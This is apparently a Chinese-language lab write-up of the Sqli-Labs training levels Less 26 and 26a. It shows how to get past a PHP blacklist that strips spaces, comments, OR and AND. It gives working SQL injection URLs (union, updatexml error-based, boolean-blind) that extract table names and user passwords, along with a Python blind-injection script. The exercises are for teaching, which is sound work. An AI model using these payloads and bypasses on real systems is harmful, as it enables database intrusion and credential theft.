Sqli-Labs:Less 26 - Less 26a

Less 26

基于错误_GET_过滤空格/注释_单引号_字符型注入

0x01. 判断注入类型

http://localhost:8088/sqlilabs/Less-26/?id=1'

单引号闭合。

0x02. 判断过滤与绕过

这关的过滤实在是很严格,我们先看源码:

$id = blacklist($id);
$hint =$id;
function blacklist($id)
{
    $id = preg_replace('/or/i',"",$id);             //strip out OR (non case sensitive)
    $id = preg_replace('/and/i',"",$id);            //Strip out AND (non case sensitive)
    $id = preg_replace('/[\/\*]/',"",$id);          //strip out /*
    $id = preg_replace('/[--]/',"",$id);            //Strip out --
    $id = preg_replace('/[#]/',"",$id);             //Strip out #
    $id = preg_replace('/[\s]/',"",$id);            //Strip out spaces
    $id = preg_replace('/[\/\\\\]/',"",$id);        //Strip out slashes
    return $id;
}

不仅过滤了上一关的orand,还过滤了单行注释--#(含URL编码)以及多行注释/**/(被解释为空格,常用于过滤空格时),还过滤了(空格),以及正反斜杠/\

有三种注入方式,两个明注和一个盲注。

  • 明注一:因正确回显非固定字符串,可利用特殊 URL 编码代替空格,仍使用union加空格连接select联合注入。
  • 明注二:因错误回显是 MySQL 错误信息,可利用报错注入即 Less 17 中提到的几种方法,首选是updatexml()注入extractvalue()注入,因其他方法仍不能避开空格的使用。
  • 盲注:基于 Bool 盲注,构造注入语句避开空格。

0x03. 基于正确注入

注意:在 Windows 下会有无法用特殊字符代替空格的问题,这是 Apache 解析的问题,Linux 下无这个问题。所以这关注入就不截图了。

在 Less 25 中介绍了orand的绕过方法,在 Less 23 中绕过注释的方法为构造语句闭合。这里介绍空格的 URL 编码替代方法。

  • %09 TAB 键(水平)
  • %0a 新建一行
  • %0b TAB 键(垂直)
  • %0c 新的一页
  • %0d return 功能
  • %a0 空格

这里有一个别人写的脚本判断哪些 URL 编码能够代替空格,因 Windows 原因没有测试:

import requests

def changeToHex(num):
    tmp = hex(i).replace("0x", "")
    if len(tmp)<2:
        tmp = '0' + tmp
    return "%" + tmp

req = requests.session()
for i in xrange(0,256):
    i = changeToHex(i) 
    url = "http://localhost/sqli-labs/Less-26/?id=1'" + i + "%26%26" + i + "'1'='1"
    ret = req.get(url)
    if 'Dumb' in ret.content:
        print "good,this can use:" + i

他的运行结果:

除了%a0,基本都是过滤了的字符:如%20(空格)%23(#)%2a(*)%2d(-)%2f(/)%5c(\)%09-%0d都是制表符、换行符、换页符。

URL编码参考手册

剩下的就是将各种绕过组合成 payload:

http://localhost:8088/sqlilabs/Less-26/?id=0'%a0union%a0select%a02,database(),4%a0||%a0'1'='1

http://localhost:8088/sqlilabs/Less-26/?id=0'%a0union%a0select%a02,(select%a0group_concat(table_name)%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema='security'),4%a0||%a0'1'='1

http://localhost:8088/sqlilabs/Less-23/?id=0'%a0union%a0select%a02,(select%a0group_concat(column_name)%a0from%a0infoorrmation_schema.columns%a0where%a0table_schema='security'%a0&&%a0table_name='users'),4%a0||%a0'1'='1

http://localhost:8088/sqlilabs/Less-23/?id=0'%a0union%a0select%a02,(select%a0group_concat(concat_ws('-',id,username,passwoorrd))%a0from%a0users),4%a0||%a0'1'='1

0x04. 基于错误注入

这里用到的是updatexml()函数,首先复习用法:

... or updatexml(1,concat('#',(select * from (select ...) a)),0) ...

选用这个函数是因为没有需要空格的地方,可以用小括号和运算符代替。

步骤1:数据库名

http://localhost:8088/sqlilabs/Less-26/?id=0'||updatexml(1,concat('$',(database())),0)||'1'='1

步骤2:表名

http://localhost:8088/sqlilabs/Less-26/?id=0'||updatexml(1,concat('$',(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))),0)||'1'='1

步骤3:字段名

http://localhost:8088/sqlilabs/Less-26/?id=0'||updatexml(1,concat('$',(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security')%26%26(table_name='users'))),0)||'1'='1

这里很蠢,浏览器过滤了&,只能用%26代替。

步骤4:数据

http://localhost:8088/sqlilabs/Less-26/?id=0'||updatexml(1,concat('$',(select(concat('$',id,'$',username,'$',passwoorrd))from(users)where(username)='admin')),0)||'1'='1

注意:这里因没有空格不能使用limit 0,1,而报错有字符限制也不能使用group_concat(),所以只能使用where条件来控制偏移量。

0x05. 基于Bool盲注

在 Less 7 的 Bool 盲注脚本中,payload 格式如下:

id=1' and (ascii(mid((select schema_name from information_schema.schemata limit 0,1),1,1))>65)--+

而在这关严格的过滤条件下,不能使用limit,需要改变形式。
考虑将某个字段的所有字段全部连接成一个字符串依次得到字符,即使用group_concat()
因后台过滤orand,且浏览器过滤&,需使用%26,下面是三个 payload 模板:

id=1'%26%26(ascii(mid((select(group_concat(schema_name))from(infoorrmation_schema.schemata)),1,1))>65)||'1'='

id=1'%26%26(ascii(mid((select(group_concat(schema_name))from(infoorrmation_schema.schemata)where(table_schema='database_name'%26%26table_name='table_name')),1,1))>65)||'1'='

id=1'%26%26(ascii(mid((select(group_concat(concat_ws('$',id,username,passwoorrd)))from(users)),1,1))>65)||'1'='

这里见到一个神奇的语法,若还过滤了,,便可使用:

mid(string,start,length) = mid(string from start for length)

下面是 python 脚本,这次循环变量只需要一个了:

import sys
import requests

def getPayload(char_index, ascii):
    # 系统表中数据
    info_database_name = "infoorrmation_schema"
    info_table_name = "schemata" # schemata / tables / columns
    info_column_name = "schema_name" # schema_name / table_name / column_name
    
    # 注入表中数据
    database_name = "security"
    table_name = "users"
    column_name = ["id","username","passwoorrd"]
    
    # 附加url
    start_str = "1'%26%26"
    end_str = "||'1'='"
    
    # 连接select
    where_str = ""
    #where_str = "where(table_schema='"+database_name+"'%26%26table_name='"+table_name+"')"
    select_str = "select(group_concat("+info_column_name+"))from("+info_database_name+"."+info_table_name+")"+where_str
    #select_str = "select(group_concat(concat_ws('$',"+column_name[0]+","+column_name[1]+","+column_name[2]+")))from("+table_name+")"
    
    # 连接payload
    sqli_str = "(ascii(mid(("+select_str+"),"+str(char_index)+",1))>"+str(ascii)+")"
    payload = start_str + sqli_str + end_str
    return payload

def execute(char_index, ascii):
    # 连接url
    url = "http://localhost:8088/sqlilabs/Less-26/?id="
    exec_url = url + getPayload(char_index, ascii)
    #print(exec_url)
    # 检查回显
    echo = "Your Login name"
    content = requests.get(exec_url).text
    if echo in content:
        return True
    else:
        return False

def dichotomy(char_index, left, right):
    while left < right:
        # 二分法
        ascii = int((left+right)/2)
        if execute(str(char_index+1), str(ascii)):
            left = ascii
        else:
            right = ascii
        # 结束二分
        if left == right-1:
            if execute(str(char_index+1), str(ascii)):
                ascii += 1
                break
            else:
                break
    return chr(ascii)

if __name__ == "__main__":
    for len in range(1024): # 查询结果的长度
        char = dichotomy(len, 30, 126) 
        if ord(char) == 31: # 单条查询结果已被遍历
            break
        sys.stdout.write(char)
        sys.stdout.flush()
    sys.stdout.write("\r\n")
    sys.stdout.flush()

下面是跑的结果:

0x06. 吐槽

用户信息中admin的密码还没改呢 hhh,Less 24 中注册的用户也没删掉 hhh。

Less 26a

基于错误_GET_过滤空格/注释_单引号_小括号_字符型_盲注*

0x01. 如何判断注入类型与过滤条件

在没有过滤时,第一件事是判断注入类型,是字符型还是数字型。
而有过滤时,判断注入类型后最重要的就是判断过滤条件。

  • 在 Less 25 与 Less 26 中,既有正确回显,也有错误回显。找到注入类型后在构造的错误回显前加上字符便可依次看出过滤了哪些字符。
  • 在 Less 25a 与本关中,错误回显被关闭,找到过滤字符便很重要,不过大体与有错误回显时相同(因为有正确回显)。

我们知道有一个函数是intval(),作用是获取变量的整数值。
但无错误回显时,我们如何区分是被过滤还是被转为整型呢?

intval('#1') = 0
intval('1') = 1

只需要在1前面加上#,若被过滤则会正常显示,被转为整形则会为0

步骤1:注入类型

11"正常回显,1'报错,判断为字符型,但是还要判断是否有小括号

判断小括号有几种方法:

  1. 2'&&'1'='1
  • 若查询语句为where id='$id',查询时是where id='2'&&'1'='1',结果是where id='2',回显会是id=2
  • 若查询语句为where id=('$id'),查询时是where id=('2'&&'1'='1'),MySQL 将'2'作为了 Bool 值,结果是where id=('1'),回显会是id=1
  1. 1')||'1'=('1
    若查询语句有小括号正确回显,若无小括号错误回显(无回显)。

步骤2:过滤条件

同上 0x01 介绍。

步骤3:注入过程

同 Less 26 的基于正确注入基于Bool盲注

推薦閱讀更多精彩內容